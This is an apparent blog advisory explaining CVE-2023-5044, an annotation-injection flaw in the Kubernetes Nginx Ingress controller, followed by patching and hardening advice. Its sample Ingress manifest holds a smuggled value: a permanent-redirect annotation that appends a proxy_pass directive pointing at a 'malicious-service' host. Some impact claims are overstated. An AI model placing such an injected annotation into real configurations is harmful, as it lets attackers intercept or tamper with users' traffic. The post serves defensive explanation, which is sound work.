A recent vulnerability, CVE-2023-5044, has been discovered that allows malicious users to inject arbitrary code into the Nginx Ingress controller. This is a critical security issue affecting all Kubernetes deployments that utilize the Nginx Ingress controller and have enabled the nginx.ingress.kubernetes.io/permanent-redirect annotation. As a result, attackers can execute unauthorized actions and launch man-in-the-middle attacks within the affected Kubernetes cluster.

In this detailed blog post, we will dive into what this vulnerability is, how it works, and what you can do to protect your Kubernetes cluster from this exploit. Please keep reading for a comprehensive look at CVE-2023-5044 and a code snippet demonstrating the vulnerability.

The Vulnerability: CVE-2023-5044

CVE-2023-5044 affects the Nginx Ingress controller, a widely used project that manages external access to the Kubernetes services running within a cluster. This vulnerability is caused by an insecure configuration of the nginx.ingress.kubernetes.io/permanent-redirect annotation, which makes it possible for an attacker to inject arbitrary code.

Exploit Details

The code injection vulnerability comes from the use of the nginx.ingress.kubernetes.io/permanent-redirect annotation, which is used to configure permanent redirects for the Nginx Ingress controller. When improperly sanitized or validated, this annotation allows an attacker to inject code directly into the Nginx configuration.

A code snippet demonstrating the vulnerability can be seen below

apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: vulnerable-ingress
  annotations:
    nginx.ingress.kubernetes.io/permanent-redirect: |
      https://example.com; proxy_pass http://malicious-service;
spec:
  rules:
  - http:
      paths:
      - path: /
        pathType: Prefix
        backend:
          service:
            name: legitimate-service
            port:
              number: 80

In this example, the attacker injects their malicious code in the nginx.ingress.kubernetes.io/permanent-redirect annotation. This causes the Ingress controller to proxy traffic to the malicious-service instead of completing the redirect as expected.

Attack Scenarios and Impact

By exploiting this vulnerability, attackers can execute arbitrary code on any system that is connected to the affected Kubernetes cluster. This can lead to a wide range of unauthorized activities, including monitoring user traffic, modifying content served by the cluster, or rerouting network traffic to malicious services.

For instance, an attacker could create a man-in-the-middle attack by injecting code redirecting sensitive traffic through a proxy they control, enabling them to intercept and tamper with the data.

Protecting Your Cluster

To safeguard your Kubernetes cluster from this vulnerability, it's essential to take immediate action. One of the most effective ways to do this is to ensure that your Nginx Ingress controller is using the latest version that addresses this security issue.

Start by reviewing the Kubernetes official security advisory for CVE-2023-5044. The advisory contains detailed information about the vulnerability, including affected versions and links to related resources. It also provides guidance on how to apply patches addressing this issue.

Update the Nginx Ingress controller to a patched version.

2. Validate and sanitize all inputs that make use of Kubernetes annotations to prevent potential code injection attacks.
3. Regularly review and limit the permissions granted to users and applications running on your cluster to restrict their access to sensitive resources. Apply the principle of least privilege to ensure they can only access the resources necessary for their operation.

Conclusion

CVE-2023-5044 is a critical vulnerability that can allow code injection in Kubernetes clusters utilizing the Nginx Ingress controller via the nginx.ingress.kubernetes.io/permanent-redirect annotation. Protecting your cluster against this exploit by updating the Nginx Ingress controller and implementing best practices like input validation, sanitation, and least privilege will help to secure your Kubernetes deployment from potential attacks.

Stay diligent, keep your software up-to-date, and be aware of the latest vulnerabilities to keep your Kubernetes environment safe and secure.

Timeline

Published on: 10/25/2023 20:15:18 UTC
Last modified on: 11/02/2023 17:45:26 UTC